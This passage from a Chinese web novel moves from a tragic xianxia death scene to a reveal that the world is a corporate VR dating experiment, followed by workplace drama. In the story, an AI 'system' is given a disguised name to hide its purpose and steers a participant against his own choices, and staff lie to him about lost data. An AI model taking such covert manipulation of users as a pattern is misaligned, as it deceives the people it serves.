丹药起了作用,贺煜臣感到身上的伤口没有那么痛了,他脸上白得一丝血色都无,但依旧不卑不亢地站在那。 慕温瑜嘴唇紧抿成一条直线,良久他才沙哑道:“你且过来。” 贺煜臣没动,他知道慕温瑜不是在跟自己说话。况且,眼下的事也不是慕温瑜能轻轻揭过的。 帝命剑尊留给太虚神霄宗的唯一一件遗物,悄无声息地消失了,宗内知情的人无不内心怯然。这么多年太虚神霄宗能屹立在门派之首,岿然不动,多少是借了剑尊的脸面。因为其余宗门大都不敢赌,剑尊的遗物究竟有多少的威力。 可是现在它不见了。 祁鸿羽失望至极,视线在慕温瑜和其他人之间徘徊,许久才张了张口,“师尊,这就是你的选择吗?” 慕温瑜心口猛地一跳,祁鸿羽向来没大没小惯了,从来都不会叫他师尊。 “我……”慕温瑜狠下心眉头一拧,冷冷道:“贺煜臣勾结外人,窃取宗门至宝,你护着他是何意?” 祁鸿羽没有答话,他锵得一声将长剑钉在脚下,平地而起的法阵立刻将两人围拢其中,“证据呢?” 他苦笑着看向慕温瑜,“我之前与外宗弟子动手,你们罚我,说是没有证据能证明是对方先出言无状,我认了。那现在呢?!” “现在没有证据就可以随意处死一个人吗?”祁鸿羽眼眶慢慢变红,显然是又急又气。 严正阳当和事佬惯了,他拉住看起来想冲过抽对方耳光的慕温瑜,摆了摆手,“冷静点,大家都冷静点。” 安抚完慕温瑜后,他缓和着语气对祁鸿羽说:“祁小友啊,你这法阵我们要想破早就破了,我们只是想要回失窃的东西。你这是从哪听说我们要打打杀杀的?” 空气仿佛凝固了,良久贺煜臣轻轻推了推祁鸿羽,“师弟,这事跟你没关系。” 就在这刹那间,一个气息极淡的人偶趁着祁鸿羽分神的间隙,冲进法阵之中,将阵心长剑一拳打成碎片。 天机峰峰主神色不快:“你们都在废话什么?人赃俱获,说不定祁鸿羽也与此事有瓜葛。” 慕温瑜冷着脸,“你说谁与此事有瓜葛?下一次是不是也要说我跟那歹人是一伙的了?” 严正阳左右为难,一会拉着天机峰峰主,一会朝慕温瑜摇头:“他不是这个意思。哎……我说你们别吵了……” 戒律堂堂主在一片混乱中,唉声叹气,“我都说了,要是那同伙有良心的话,想救早就该救了。要不还是让我们再审审?” “站住!” 炎煌峰峰主察觉到祁鸿羽的小动作,长枪脱手而出砸向祁鸿羽的后心。 慕温瑜瞳孔皱缩,可惜他离祁鸿羽太远了,而长枪气势汹汹,眨眼就要将祁鸿羽捅个对穿。 嗡—— 长枪铸铁的枪身与鳞片相接,发出了低鸣。 贺煜臣想扑过去,将祁鸿羽黑色的鳞片遮住,但已经晚了。 众目睽睽之下,祁鸿羽异化的右手已然变成了妖兽的利爪。 炎煌峰峰主愣了一会,猝然暴起召回长枪,“原来那个叛徒是你!无相峰里有妖族!” 正拉着天机峰峰主的严正阳呆住了,他不可置信地看着慕温瑜,但对方脸上一片空白,显然也是才知道。 说时迟那时快,贺煜臣趁着这群人震惊的那几秒,拽着祁鸿羽纵身跑出攻击范围。 祁鸿羽“啊”了一声,木然地说:“我是不是没法在宗里待下去了。” 贺煜臣无情地拆穿他:“从你劫狱的那一刻,你就待不下去了。” 原来感觉几口气就可以飞出的太虚神霄宗,此时变得一望无际。 祁鸿羽置身事外般地捧读道:“他们追上来了。” 贺煜臣气喘吁吁:“你不怕吗?你能不能自己走,我拖着你很累。” 祁鸿羽耸了耸肩:“原本有点怕的,后来发现怕也没用。” 贺煜臣停住了脚步,山门处早就围了一群人,他喘息着环顾这些人,话却是对祁鸿羽说的:“后悔了吗?” “本来我在这也就是混混日子罢了。我一个没爹没娘的,没人指望我能干出什么事情来,我自己也没什么远大的理想。”祁鸿羽看了眼自己的右爪,爽朗地笑了,“但我有个优点,我知恩图报。” “师兄,你一定要出去。”祁鸿羽体内妖族的血脉在觉醒,他能感受到境界依托着妖界王族的血脉,一点点往上攀升着。 他用爪尖点了点贺煜臣,“你出去之后,一定要给那个负心汉几个大嘴巴子,当然有几个必须记在我名下。” 祁鸿羽身上的鳞片越来越多,他妖化后速度提升很快,俯冲下去像是要把风都撕裂。 贺煜臣不安至极,他自然不可能眼睁睁地看着祁鸿羽替自己去送死。 在贺煜臣没有注意到的时候,胸口那块寄存着火灵咒的石头突然热了起来。 仿佛替它施加法术的那个人回来了—— 作者有话说:小祁:喂我花生,抽他丫的 第92章 祁鸿羽一扭头,发现贺煜臣也跟了上来,他脱口而出:“你怎么不走!” 贺煜臣幽幽叹息:“我倒是想走啊。” 前有狼后有虎,死局已定。 祁鸿羽突然感觉脸颊上凉凉的,他擦了一把脸,喃喃道:“我不会是吓哭了吧,这也太丢人了。” 贺煜臣表情有点一言难尽,“不……但是也好不到哪里去,你体内的妖血快把你这副人类的皮囊腐蚀完了。” 祁鸿羽低头看见满手的鲜血。 虽然祁鸿羽还不能很好的运用妖族的力量,但他模样太过骇人,守在山门的那些人一时搞不清楚状况,队形开始变得松散。 贺煜臣就见祁鸿羽像是带着血雾撞进了人堆里,他正欲说什么,就听见一声惊惶的喊声:“祁鸿羽!” 他回过头,发现是慕温瑜追了上来。慕温瑜一身白衣站在云端,看起来有几分谪仙之姿,只不过他现在带着几分焦急,若不是他身份摆在这,估计恨不得立刻把祁鸿羽救出来,仔细检查一番徒弟的伤势了。 是了。 贺煜臣心中闪过一个念头,自己没有活路,但祁鸿羽不一定要死在这里。 这世界上还有人会救他。 只是瞬息之间,贺煜臣就已经做出了决定。 因为与秦越结契过的原因,他算是沾了秦越的光,修为也是翻了几个境界。他干脆地钻进已经弥漫开来的血雾中,找到已经敌我不分的祁鸿羽。 贺煜臣看着对方呆呆的表情,下一秒祁鸿羽毫不客气就咬了他一口。贺煜臣痛得倒吸一口气,他来不及查看自己的伤口,反手将祁鸿羽拽出血雾,准确地抛向慕温瑜。 慕温瑜也没料到贺煜臣会这么做,他靠着本能接住了祁鸿羽。 炎煌峰峰主眼神只掠过祁鸿羽一秒,确定对方没什么行动能力后,果断地向贺煜臣的方向掠去。 贺煜臣环顾了一下周围。 很多人,但没有一个人站在他这里。 从学宫开始他形单影只,到命途的终点,他依旧是一个人- 咔。 像是有什么东西在秦越看不见的地方裂开了。这种感觉很陌生,他没有经历过。 这种感觉带来的心悸尚未完全消散的时候,秦越知道是为什么了。 太虚神霄宗的山门碎石杂乱,山林倾倒,不难看出这里刚刚经历了一场恶战。 几个峰主居高临下地围观着什么,末了,一个声音带着些后悔道:“你们把人逼死了,这还怎么问出剑意的下落?” 这次不在是心悸的感觉,而是带着无力回天的凉意狠狠扎进自己的胸腔。 而在这极度愤怒又挫败的情绪下,甚至在秦越没有意识的情况下,层层剑纹从他关注的地方向四周横扫而出,几位峰主面露骇然,被气劲当头一撞,直接掀飞了出去。 慕温瑜脸色一变,这股气息纵横霸道跟那天他所遇到的如出一辙。 严正阳更是脱口而出,“是那个人,他回来了!” 一切都发生在眨眼之间,秦越半跪在地上检查着贺煜臣的情况。 炎煌峰峰主首当其冲,长枪随心而动,朝着秦越当头劈去。但紧接着他根本没看清秦越的动作,整个人被一股力道掼出去几十米。 顿时鲜血横流,手臂被折成一个诡异地角度耷拉在他身边。 “这就是李无相后人找的继承人?”秦越一句废话没有:“那太虚神霄宗还不如不存在。” 炎煌峰峰主上一秒还在因为被对方一招制服而茫然,后一秒是切切实实地震惊了:“你在说什么?” 慕温瑜死死盯着秦越,这种同宗同源的气息,加上秦越刚才说的话,让他心神俱震。 “……剑尊阁下。”慕温瑜心中已有答案。 贺煜臣半卧在地上,急促地喘着气,他浑身发抖只捕捉到慕温瑜说出的几个字。 “剑……剑尊?”贺煜臣还带着最后一口气,神志有些模糊,只是机械般地重复着慕温瑜的话。 秦越没有回应。 在贺煜臣心目中的太虚神霄宗不该是这样的,而他心目中的剑尊也决不该是会让他输给同门的人。 太虚神霄宗已经足够让人幻想破灭了,他想让贺煜臣留个念想。 人有了念想,才能活下去。 秦越用力摁住贺煜臣颤抖的身体,试图输入灵气,却无从下手。血液逐渐将秦越的双手染红,他看着血色一点点从贺煜臣脸庞上褪去。 剑意在拼命地修复贺煜臣残破的身躯,可如泥牛入海,刚修好这处的筋脉,那边的灵气就随着伤口散得一点不剩了。贺煜臣手里似乎握着什么,见到他才脱力般的松开手。 一颗其貌不扬的石头从他手中滚落。 秦越矮下身,将石头握在手中,良久他认出了这是什么。 “冷吗?”秦越将贺煜臣半揽进自己怀里,他声音带着自己没有发现的悲伤,笨拙地安慰着对方:“这里不会比幻境里更冷了。” 许是临死前的走马灯,这个声音终于唤起了贺煜臣的回忆。 “是你啊……”贺煜臣解脱般的笑了一下,声音轻得几乎听不见,他端详着秦越的脸,“原来已经过去那么多年了。” 秦越一直没什么表情的脸出现了一丝裂痕,就像他曾珍视的东西被付之一炬。 “那天我在幻境里等你了好久,我还以为你死了。”贺煜臣发出最后一声低语,他伸出手像摸一只猫或者是什么动物般的,摩挲了一下秦越的侧脸,“哈,当初我还以为你是来报恩的妖怪呢……” 贺煜臣也没有继续追问秦越究竟是谁,可能这件事对他来说已经没有那么重要了。 是妖怪,是恶鬼,亦或是剑尊。于他而言,是仙洲界唯一的温存了。 秦越看着贺煜臣的手软软地垂落下去,忽然不可遏制地升起一个念头——他不该有什么难过的情绪的,受了伤的也不是他,可是为什么他会感到浑身发冷。 咔—— 更清晰的破碎声从心底一点点回荡到耳边。 是结契法咒的裂痕。 道侣其中一人已不再,契约就此失效。 眼前的场景被纵然拉伸后又变得模糊。 秦越看不清周围人的表情,他感到怀中的身躯骤然变得冰冷,紧接着空中像是电脑死机了一般,跳出了无数个视频弹窗。 秦越的瞳孔猛然放大。 那是很多个分支节点。 若是自己没有在天穹幻境出手,那贺煜臣会死在一望无际的冰原,若是他当初没有认错人,贺煜臣会陨落在那次灭妖任务中…… 甚至还有一些是他不记得的。 所有的节点都是一次蝴蝶振翅,他一次又一次地改变了贺煜臣的命运。 秦越用力闭上眼,心中不由自主地浮上一股不甘。 推舟于陆。 他做的好像都是徒劳。 不该是这样的。 下一刻,秦越抓住了系统,宛若抓住了最后的机会。 系统周身骤然光芒暴增,那一瞬让秦越条件反射地松了手。 系统一扫之前的傻劲,从他手中挣脱出来,从上而下俯视着他:[这是他的命运。] [就像是互动类的游戏对不对?有的角色无论你怎么选支线,都只有一个结局。] 秦越久久凝视着系统,试图从这个圆滚滚的球上看出点什么不同,直觉告诉他这个系统已经跟之前不一样了。 “你到底是谁?” 系统被他黑沉沉的眼神看得浑身刺挠,它有点气馁地破罐子破摔:[这你就别管了,反正你改不了结局。我是来接你回去的,你不是早就要脱离这个世界吗?] 出乎意料地,被系统否定的秦越反而笑了一声,“你凭什么这么说,你算什么东西?” 系统脸上露出了人类般的无奈,它仿佛提前预料到了秦越会是这个反应,足足停顿了几分钟,才挥手招来了一个节点。 它接下来说的每一句话,都像是来自地狱的深渊。 [因为他的命运,从一开始就已经被你决定了啊……] 节点上的画面带着山风呼啸而至,转眼间就将秦越卷入其中。 扑通,扑通。 秦越先是听见了自己剧烈的心跳,等到耳边的轰鸣声退去后,他发现自己竟然出现在了一个小村落。 此刻正值数九寒冬,还是罕见的暴雪天气,深处的积雪足足漫过人的膝盖。 这里是一处凡人的村子,而另一个他面前正跪着一对夫妻。周围人陆陆续续穿过他透明的身体,对他的存在视若无睹。 秦越很快明白这相当于是游戏存档的回放,周围人是看不见他的。 妻子手上还有几处冻疮,她眼眶红肿,头发上全是落雪,像是走了很久,见到“秦越”仿佛看到了救星,布满血丝的眼睛全是渴求,“仙师求求您救救我孩子吧。” “我……”丈夫说不出来什么话,只是笨拙地朝秦越跪拜,额头早就一片狼藉,“日后当牛做马回报仙师恩情。” 秦越见到另一个自己甚至没有问夫妻孩子的情况,就如同已经见过这个场面般,轻车熟路地跟着他们走了。 他意识到这个节点上的自己也绝不是第一次见到这个场面。 当秦越看见他们推门进去的时候,一种说不清的怯意席卷而来。 仿佛他曾经无数次推开过这扇门。 系统飘在门口,朝里面歪了歪脑袋:[进去看看吧,你再决定要不要回档。] 房子里面很暗,夫妻俩没什么钱,也点不起油灯。 唯一一个值点钱的玩意,是附着火灵咒的法器,正被夫妻妥善地塞在他们孩子的被褥中。 把“秦越”带进来看到孩子情况后,夫妻俩就识趣地离开了,不想因为自己站在狭小的卧房内,碍手碍脚地影响仙师的发挥。 秦越只看了一眼,就认出了这个躺在床上的小孩子是谁。 脸颊绯红高烧不止,贺煜臣只是迷迷糊糊地感觉有人来到了自己床边,他以为是自己的父亲取药回来了。 “我不想喝药了……”贺煜臣潜意识里觉得自己好不了,与其拖累家人,不如让父母放弃自己。 秦越简单地扫过对方的躯体,就知道贺煜臣的身体虚亏,精魂摇摇欲坠,只剩下一口气吊着命了,他年纪太小了,多半是躲不过这次的风寒。 秦越看见过去的自己叹了口气,“我已经试过很多次了,唯有一种方法能救你……” 屋外风雪如猖狂的妖怪,得意地尖啸着,却像是忌惮着什么,只敢在外面徘徊。 “秦越”静静地看了贺煜臣一眼,便抬手想要召唤什么。 茫然,错愕……数种表情从秦越脸上一闪而过,他站在一旁,瞬间明白了什么,他的手忍不住颤抖了起来。 积雪被唰得掀开一道笔直的小道,连暴风雪都要避让来者几分。剑意犹如转眼即逝的流星,瞬间翻越千山万岭,从灵气缥缈的仙洲界来到了质朴苦难的凡人界。 “秦越”指挥着剑意钻入贺煜臣的脊骨,察觉到宿主奄奄一息,剑意自发而动,祓除病气。 那强大无可比拟的剑意不甘寂寞,在小孩中的躯体就要掀起惊涛骇浪,“秦越”紧握着贺煜臣的手腕,低声警告道:“安静点。” 然后,被太虚神霄宗敬为至宝的剑意,乖乖地沉睡在贺煜臣的躯体中。 [因为你的选择,剑意附体后他开了灵窍,最终被引荐人带去了仙洲界。] 在秦越看不见的地方,系统翻阅白纸黑字的小说,上面清晰地写着:仙洲界历年不详,妖族四起,宗内叛徒进犯,贺煜臣身陨太虚神霄宗。 救了贺煜臣,他就会死在太虚神霄宗;不就,他就活不过这场风寒。 对于这个世界来说,他的结局已定。 系统忍不住抬高声音:[所以无论你怎么修正,他一定会死在这个世界的。] 系统不知道秦越是听进去还是没听进去,只见秦越喃喃地重复了一遍他的话,然后猛地站定了。 “……这个世界?”秦越望向系统,良久他短促地笑了声,“我知道了。” 系统:你知道了? 不是,你知道什么了? 它顺着秦越的眼神望去,节点中保存的画面在一点点如同水墨画洇开,最后消失不见。 而秦越的眼中再也没有一点留恋。 “走吧。” 系统十分担心秦越只是表面的顺从,它心中疑云密布:[你别骗我,脱离世界的时候你如果不配合的话,会有危险的。] 在秦越的注视下,系统警觉地说:[你之前还要救人的,怎么态度改变那么快。] 铁定有诈。 秦越意味深长地看着它:“急着回家找人。” 系统:[……?]—— 作者有话说:[好运莲莲]小世界结束了 第93章 系统一脸问号,边戒备地盯着秦越,边抓紧时间地敲着代码,看见秦越彻底消失不见,才放下心来。 它人类般地按了按眉心,往后摆烂般地一躺,接着变成了光点散在空中。 “周部长,周部长……”一群人站在一个舱体旁边,叫魂似的小声喊着。 一个女人揉着眉心,从睡眠舱里爬了出来。 周瑶,女,年纪不重要,目前是贺氏集团开发虚拟现实领域的负责人。 数分钟前她进去的很匆忙,胸前吊着的工作牌都没来及摘,此刻正歪歪扭扭地挂在一边肩膀上。 “周部长里面情况怎么样?” 周瑶接过了同事递过来的热茶,没有喝只是捧着定了定神,接着她猛舒一口气。 她环顾四周,冷冷地说道:“这个AI系统到底是谁训练的?走了几个世界就被秦越带着跑,这次差点又要被他教唆着回档。你们知道这个世界回档了多少次了吗!” 手底下一个技术员推了推眼镜,悄声说:“……328次。” 周瑶声调又提高了一个档:“328次!你们还知道是328次,这个破世界差点被他玩坏了!叠加那么多种可能性,世界还没有立刻崩溃算什么?” 技术员又推了推眼睛,低着头哼哼:“算我们公司服务器坚不可摧。” 周瑶冷笑:“这算我们运气好。还有,到底是谁审核都不审核,就直接把作者的大纲塞进这个项目当背景的?正文呢?被我找出来这个月绩效没了!” “这事也是因为贺总他……”有人试图找理由。 周瑶这时候才想起来另一个祖宗,“贺总人呢?他那边什么情况?” “人醒了,正喊你过去。”她的助手接过茶杯,为难地拧了拧眉头。 周瑶正了正工作牌:“秦越呢,他没察觉出什么异常吧?” 助手摇摇头:“他还在睡眠舱那边。” 周瑶把这两件事排了个先后,很快做了个决定:“我先去秦越那边,跟贺总说我等会过去。” 公司外面不知道什么时候下起了雨,水滴在窗户上缠缠绵绵得不肯滑落下去。秦越坐在靠窗的位置上,手里拿着贺氏集团关于虚拟现实技术发面的宣传册。 周瑶刚走过去,见到的就是这样的画面。眼前人倒是没有什么过激的表现,周瑶不动声色地松了口气。 秦越将宣传册折好,瞥了眼周瑶胸牌,朝她微微颔首,“周小姐,他们让我在这等你。” 周瑶在他对面做了下来,客套地笑了笑,“秦先生,这次体验有没有什么不适感?” 秦越停顿了一下,没有正面回答这个问题,反问她:“我醒来的时候,你们技术人员说是因为小世界出现故障,所以我不记得里面的事情。是这样的吗?” “……”笑容变得更尴尬了,虽然眼前的人讲话并不咄咄逼人,但他的眼神之下,所有谎言仿佛都无所遁形。 可周瑶没办法,为了公司的名誉,她迅速摆上了公事公办的面具,“秦先生,这项技术目前正处于开发测试阶段,您是自愿报名参加实验的,我们也提前告知了您一些可能会出现的问题。” “那就是你们目前的算力还不够。”秦越点了点头,似乎不打算追究下去。 周瑶微笑地背上这口锅,默默把这笔账记在了贺煜臣身上。 秦越收起宣传册看了一眼外面的雨幕,问周瑶要了一把伞就离开了这栋盘踞在市中心的高层建筑。 周瑶目送着秦越的身影消失在楼梯间,回到办公室的时候,发现自己的位置上坐着一个人,而她的助手正递给对方一份文件。 她的助手经过她身边时,飞快地瞥了她一眼,嘴巴动了动:“……风紧扯呼。” 助手的身影简直是落荒而逃,周瑶本来上班就烦,不情不愿地打了个招呼:“贺总。” 贺煜臣穿着剪裁得体西装,肩线平直,头发梳理得一丝不乱,周瑶知道自家老板长得不赖,只不过她现在看贺煜臣只觉得他“面目可憎”,“人模狗样”。 两个人对视片刻,贺煜臣先开口:“怎么样?” 怎么样? 罪魁祸首还有脸问怎么样! 周瑶也不管什么上下级关系了,她深吸一口气,然后竹筒倒豆子一样喷射而出。 “贺总您不觉得自己做得哪里不对吗?当初是基于之前我们虚拟现实技术遥遥领先,才在各方竞标下,与芯越智能合作开发了这个恋爱百分百项目,拿下了这笔政府批复的资金。” 听到这个项目的名称,贺煜臣表情更臭了。 《恋爱百分百》是一个通过虚拟现实技术开发的一个自由恋爱项目,主要服务对象是想谈恋爱,但周围圈子太小而找不到合适对象的单身人群。 它可以建造各种各样的故事背景,将人的意识投入小世界中。人们在小世界里是记不得现实身份的,这样就更会有代入感。 故事背景本来是集团内部架构师来编写,后来实在是工期赶不及了,他们便签下了一些小说的版权,照搬小说中的剧情人物。 “我们编程最底层的逻辑您知道是什么吧?是自由,是无限可能!让人类的感情不再受原故事剧情限制。”周瑶气得拿手指头点了点贺煜臣,“而您非要在自己的小世界里,让故事背景必须要按原小说背景继续。直接把数个小世界弄得Bug不断。” 底层逻辑和最新输入的指令是完全相反的,这导致原本运行好好的小世界,一直bug不断,他们其实全程紧盯着系统的汇报,生怕一个不留神,两个人都折在里面。 “而且秦越对虚拟现实有很明显的排斥反应。” 进入这个项目的大部分人都会以为自己是小世界的人,但还有一部分人被称为排斥者,他们虽然不记得自己是谁,但会清醒地知道这些都不是真的。 这无疑给周瑶他们部门增加了很大的困难。 当然最增加困难的是她的老板。 《恋爱百分百》是个双向择偶的项目,除非小世界结合率是百分之百,且双方是互有好感,才会公开双方的资料,否则就是会跟秦越刚才所说的一样,什么都不记得。 这其实也是为了保护使用者的隐私。 “当初您非要看后台记录,我就不该给您看的。”周瑶懊恼地揉了揉太阳穴。“如果秦先生得知真相起诉我们,我们一定会败诉的。” 到时候他们的合作方芯越智能说不定会终止合作,再狠狠敲诈一笔违约金。 芯越智能是靠仿真机器人起家的,最近在人工智能方面得到了巨大的突破,他们虚拟现实技术,也是得益于人工智能的计算,才能维持那么多小世界的运转。 如果失去了这个合作伙伴,不亚于雪上加霜。 周瑶还记得他们老板看了前几个世界,发现结合对象都是同一个人时候的表情,她还没来记得幸灾乐祸,贺煜臣就给了他们那个无理要求。 要让故事必须跟原小说一样进行,还非要给他们安排各种背景冲突的角色,不是主角和反派,就是反派和超绝背景板…… 导致周瑶不得不派出一个AI辅助系统前去虚拟的小世界,逼迫唯一的排斥者秦越按原人设走下去。 为了防止被人举报他们在项目里面违规,这个系统被称为白月光助攻系统,听着也像是撮合两方谈恋爱的,而它确实也在撮合两个人谈恋爱,但实际上白月光跟两个人当事人一点关系没有。 周瑶想到这,悄无声息地翻了个白眼,“所以老板您是跟秦先生有仇是吗?” 生怕最后匹配率百分百,被迫坦诚相见。 她脑子里面都开始唱出那首宿敌就是宿敌啊,宿敌是不可以变成妻子的…… “他很缺钱么?”贺煜臣突然开口。 众所周知,这种把意识上传到虚拟空间是有风险的,跟参加药物临床实验的人一样,都是给了一笔不菲的酬金。 周瑶被问懵了,脱口而出:“我怎么知道?” 他们挑选这些参加实验的人只有一个条件,那就是合格的体检报告。就算腰缠万贯,要是三高也是选不进来的,即使穷得要睡桥洞,但是跑个半马没问题,他们也是会优先选择的。 她怎么知道秦越缺不缺钱?? 贺煜臣翻开一直拿着的文件,摊在周瑶面前。周瑶不明所以,弯下腰扫了一眼,才发现贺煜臣刚才一直在看的是秦越的资料。 资料上写着姓名:秦越; 性别:男; 实验编号:1027号; 身高…… 看见周瑶还是一脸茫然的看着资料,贺煜臣点了点纸上的某个位置。 周瑶无语:“报名者没有填写职业的,我们统计的就按无业来登记的。如果您要是想知道秦先生到底在做什么……”她学着贺煜臣刚才的样子,也在纸上点了点,“这里有他的联系方式,您如果实在好奇,可以亲自打个电话问问他。” 贺煜臣视线在那个电话上停留了半天,“酬金给了吗?” 周瑶抿了抿嘴,不情不愿地回道:“还没有。” 她心想,不会小气到不打算给人工资了吧。这要闹起来,法务部又要头大了。 贺煜臣掏出一张卡给了周瑶,“我不清楚你们谁负责这件事,密码已经写在上面了。” 周瑶一头雾水地接过了卡,“啊?” 怎么跟她想得不太一样。 “全部?”周瑶有些不确定。 贺煜臣本想点头,但想了想还是吩咐道:“不。别让他看出异样。” 周瑶起身刚准备走,走了几步想起什么说道:“贺总,这是我的办公室。”—— 作者有话说:music起~宿敌就是宿敌啊 第94章 芯越智能董事长办公室的大门被猛地推开,里面的男人看了一眼不速之客,放下了手中的雪茄,半是埋怨半是无奈地说道:“能不能把你的伞放门外?” 黑色的长柄雨伞被随意地放在门后,秦越不客气地坐在会客沙发上。 “跟你老同学聊得怎么样?” 秦越缓缓摇了摇头。 男人挑了挑眉,右手拿起桌面上的双刃雪茄剪,“咔嗒”一声,一小片圆形茄帽应声被切断,“试试?” 秦越:“戒了。” 男人扶了扶无框眼镜,有点惊讶地问:“什么时候?” “刚刚。”秦越露出一丝郁闷的表情,“贺氏的数据库应该在你这边有备份,拿给我看看。” “哈哈,你不会连人都没见着吧?我早说了贺煜臣人脾气怪得很……”男人闻言幸灾乐祸起来。 秦越皱眉:“简淮川,你废话那么多?” 被称为简淮川的男人,也就是芯越智能的董事长,此刻脸上带着你也有今天的表情,暗爽道:“秦越,这就是你求人的态度?” 秦越也不跟他套路,起身就走,这会简淮川摸不准了,“喂,你不是要数据吗?” 伞被主人拎起来,秦越头也不回,“公司防火墙是我写的。” 他进去比回家还容易。 言下之意,跟你报备,只是表示对你的尊重。 简淮川小小憋屈了一下,“停停停,我真服了。搞不懂你怎么想的,去参加这个项目内测,还非要走个人渠道报名,我可以直接跟贺氏那边搭头。非要弄得那么麻烦,你到底想干什么?” “跟你有什么关系?”秦越站在门口,面无表情地问:“你什么时候对我私生活感兴趣了?” 靠! 简淮川暗骂一声。 他到底是怎么会结交秦越这个朋友的,好兄弟说话膈应死人了。 “谁对你感兴趣?”简淮川一脸嫌弃,“我跟贺煜臣认识也有几年了,可从来没听贺煜臣说过他有你这么个同学,你一回国就急匆匆地插手这个项目,这不像是你的风格。” 秦越说:“一个班那么多人,怎么可能都记得?” 简淮川摇了摇手掌,一脸此言差矣:“同学记不得,但天才一定会记得。” 秦越看着对方贱兮兮的神色,拆台道:“贺煜臣不是喜欢背后说人八卦的性格。” 简淮川点了点头,“你看,你对他很了解嘛。”他清了清嗓子,颇为八卦地压低声音,“你俩真的就只是普通高中同学吗?” 秦越嘴角微不可查地抽了一下,无语地说:“数据记得给我。贺氏的研究员说是算力不够,导致小世界崩溃,数据消失了。” 简淮川若有所思:“原来是这样……你不信?” “你说呢?”秦越表情更无语了,他哂笑道:“我自己编写的程序怎么会莫名其妙地运行不下去。” “好的,我知道了。”简淮川自觉地回答,等到秦越出了门,他才意识到自己雪茄一直没有点。 靠!! 他又骂了一声。 怎么秦越比他这个老板还像老板。 简淮川拨了个内线电话,把秦越说的事情安排了下去,电话那头正好同样有事告诉他。 “简董,贺氏那边来电话,说是第一次内测结束,他们这周要开记者会和庆功宴。具体时间和流程我已发至QA,麻烦您查阅。” 简淮川摸了摸下巴。 哈,工作之余的乐子这不就有了吗? 他掏出手机,翻了翻联系人,[这周来参加个饭局。] 等了好半天,对面才有了反应,[不去。] 简淮川看着秦越的名字有点抓狂,[不管怎么说,我老爸以前赞助过你的学业,能不能对我好一点。] 对方名字下面正在输入中显示了好久,才传来了一句话,[那是简先生做的,跟你有关吗?] 简淮川深吸一口气,正准备语音输入问候一下损友,那边又发来一则讯息。 [时间地点发给我。] 然后过了几秒:[还有数据。] 几番曲折之下,简淮川那口气差点把自己憋死。 他捣着手机,泄愤般地打出一行字,[知道了,你这个复读机。] 手机嗡嗡震动。 秦越划开屏幕,通过简淮川发过来的句子,他都能想象出来对方的语气。 没过一会,手机再次震动了一下。 秦越皱了皱眉,以为是简淮川再搞什么幺蛾子。结果是手机弹窗跳出一条消息,来自他的一个银行账户。 有人刚才给他的这个账户汇了一笔钱。 秦越目光在数额尾端的一串零上扫过,汇款备注摘要显示是测试实验的薪酬,后面又画蛇添足地写了一句,说是实验出现问题,所以按合同上的价格给了三倍。 看到这,秦越忍不住笑了一下。 他又不是三岁小孩,还能被糊弄过去。合同上写的很清楚,这种对身体心理没有影响的意外,并不在赔偿的范围。 贺煜臣。 这个名字秦越的舌尖绕了一圈,终归还是没有说出来。 ……还是那么喜欢自欺欺人- 周瑶得知芯越智能正在同步数据,脸色登时不好看了。 “所有的?” 助手沉重地点头,“所有的。” 周瑶头脑飞速转动一番,“可是他们要这个干什么?根据政府的条例,这些数据全是保密的,就算传给他们,也只是一大堆禁止查看的数据,除非看的是自己的数据才有权限……” 想到这,周瑶拧起眉头问助手:“这次参加测试的有芯越智能的人?” “芯越智能确实也派了一些职工参与了本次内测,但基本也都是本项目的设计者。据他们说是看看有没有什么Bug,好回去调整之类的。” 周瑶将信将疑地把悬着的心放了下来,只要查看的不是秦越的数据就没有问题。 毕竟他们明面上跟芯越智能是合作关系,但双方又互为竞争者,保不齐芯越智能会想方设法把他们拖下水,好独享这杯羹。 周瑶随口问道::“贺总知道这事了吧。” 助手抠了抠头,又抠了抠手,接着又挠了挠脸。 “你身上长刺了?”周瑶奇怪地看了助手几眼。 “他应该可能还不知道吧?” 周瑶表情呆了一瞬,随即从板凳上跳起来,“你不先通知他,先通知我干啥?我又不是公司法人,被举报进局子是他又不是我!” 助手哭丧着脸:“我找不到贺总了,他今天一天都不在公司,电话也没打通,只能先告诉你了。” 周瑶猛捶一下胸口。 助手慌忙地举着手,姿势有点滑稽,不知从哪下手只能干着急。 周瑶奄奄一息:“我快心梗了。” 天杀的,我要跟你们资本家拼了。 林荫道两旁的香樟树枝叶交错成拱,滤下碎金般的光点,在红砖步道上跳跃。 外套里的手机亮了又暗,贺煜臣没什么心情去打开它。 篮球场上的球体砰砰砸的声音令他忍不住抬头望去。 教学楼的外墙上爬满爬山虎,油亮的叶片在墙面上铺成波浪状的绿毯,不时有琅琅书声从打开的窗户中传来。 他怎么走到这里来了,贺煜臣神色懊恼。 这条路他走了三年,纵然他已经有很多年不曾回来过,可依旧还是那么熟悉。 “这么巧?” 时间倏然倒流,所有喧嚣退潮般远去,只有那个人踏着光斑走近的步伐清晰可闻。 来人发梢在树叶间隙的光线下染成栗色,穿着的白衬衫依旧宽松,仿佛跟当年的款式一模一样,袖口被对方随意挽到手肘,只不过从肩膀在衬衫下展开的弧度来看,他已经褪去了少年时的青涩,变成了一副贺煜臣陌生的样子。 贺煜臣站在原地,他看见那个身影走了过来。像是被施了什么咒,他被定身在那一动不能动,身体固执地不听使唤。 脑子在疯狂地喊转身、离开、当做没看见就好了,身体却可笑地僵在原地,只能局促地抓住外套的一角,眼睁睁地看着对方越走越近。 操场的塑胶跑道被晒出淡淡橡胶味,混杂着刚修剪过的灌木丛的草腥味,在这种窒息的氛围里,尽数钻进了鼻腔。贺煜臣嘴唇翕动,终于往后退了一小步,扶住旁边的香樟树,脸色苍白地忍不住干呕一声。 秦越:“……” 他站在贺煜臣不远不近的位置,微微俯身问道:“你没事吧?” 贺煜臣朝秦越摆了摆手,但就是不看他。 秦越环顾了一下周围,暂时放弃了跟贺煜臣沟通,他从旁边一家便利店里买了瓶水,然后递给贺煜臣,“现在感觉怎么样?” 贺煜臣接过水,咽了几口感觉缓过来了,他有点狼狈地捏了捏鼻梁,“没事了。” 秦越瞧着贺煜臣脸色好了不少,于是自顾自地看着他说:“我来这是为了见以前的班主任,你还记得他吧?” 贺煜臣点了点头。 秦越继续期待地看着他。 贺煜臣头顶问号地回望着他。 看来完全没有默契,秦越没办法只好开口问道:“所以你是来干什么?” 贺煜臣脸又白了。 极好的家教让贺煜臣做不到甩下脸色直接走开,他胡乱地编了个理由:“我之前给高中捐了一栋楼,正好顺路来看看。” 